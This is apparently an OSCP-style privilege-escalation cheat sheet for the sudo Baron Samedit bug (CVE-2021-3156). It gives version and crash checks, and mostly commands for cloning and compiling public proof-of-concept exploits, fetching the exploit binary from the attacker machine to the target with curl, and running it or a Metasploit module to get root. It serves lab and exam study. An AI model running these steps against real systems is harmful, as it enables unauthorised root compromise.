Baron Samedit — CVE-2021-3156
Ctrl+F:
Baron Samedit·CVE-2021-3156·sudoedit -s· heap overflow
Baron Samedit — heap-based buffer overflow in sudo / sudoedit. Any local user → root — even if not in sudoers. Very common on 2021–2022 Ubuntu/Debian lab images.
Not a kernel exploit — userspace sudo. Different from pkexec - CVE-2021-4034 PwnKit (polkit) and sudo NOPASSWD abuse.
→ Linux > 📌 9) Kernel Exploits · sudo · linux-exploit-suggester
📌 When to try
| Signal | Check |
|---|---|
| Vulnerable sudo version | sudo -V → 1.8.2–1.8.31p2 or 1.9.0–1.9.5p1 |
| Quick crash test | sudoedit -s / — vulnerable if sudoedit: usage error (not /:) |
| LES / LinPEAS | CVE-2021-3156 |
sudo -l empty | Still exploitable — no sudoers needed |
sudo -V
sudoedit -s / 2>&1 | head -1
# Vulnerable: "sudoedit:" usage message
# Patched: "/:" or "sudoedit: invalid option"Patched: sudo ≥ 1.9.5p2 · Ubuntu 1.8.31-1ubuntu1.5+
Qualys advisory: CVE-2021-3156 Baron Samedit
📌 Reference links
| Resource | URL |
|---|---|
| blasty PoC | github.com/blasty/CVE-2021-3156 |
| worawit (portable) | github.com/worawit/CVE-2021-3156 |
| Qualys write-up | blog.qualys.com/…/baron-samedit |
📌 Exploit — blasty PoC (OSCP default)
Requires on target: gcc, make, vulnerable sudo
Kali — download
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
# Produces exploit binary per target — read README for distro matchTransfer → target → run
# Kali serve compiled binary or full repo
python3 -m http.server 8080
# Target
curl http://KALI:8080/exploit -o exploit
chmod +x exploit
./exploit
id
# uid=0(root)worawit repo auto-computes offsets — better when exact distro unknown:
git clone https://github.com/worawit/CVE-2021-3156.git
cd CVE-2021-3156 && make
./sudo-hax-me-a-sandwich📌 searchsploit / MSF
searchsploit CVE-2021-3156
searchsploit baron samedit
./linux-exploit-suggester.sh -f uname.txt -s CVE-2021-3156use exploit/linux/local/sudo_baron_samedit
set SESSION 1
run📌 vs other sudo privesc
| Vector | Needs sudoers? | Mechanism |
|---|---|---|
sudo -l NOPASSWD | Yes | Misconfig / GTFOBins |
| Baron Samedit | No | Heap overflow in sudoedit |
| CVE-2019-14287 (sudo -1) | Yes (specific rule) | User ID -1 bypass → sudo CVE-2019-14287 - User ID -1 Bypass |
Full sudo reference → sudo
📌 Troubleshooting
| Problem | Fix |
|---|---|
| Wrong exploit offsets | Match Ubuntu/Debian version; try worawit PoC |
gcc missing | Compile on Kali for target libc/glibc version |
| Segfault | Patched sudo or wrong build — verify sudoedit -s / test |
| Already tried PwnKit | Different bug — both can apply on same box |
📌 Quick cheat sheet
sudo -V
sudoedit -s / 2>&1 | grep sudoedit
searchsploit CVE-2021-3156
git clone https://github.com/blasty/CVE-2021-3156.git && cd CVE-2021-3156 && make
./exploit
id📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.
→ Linux > 📌 1) Basic Manual Enumeration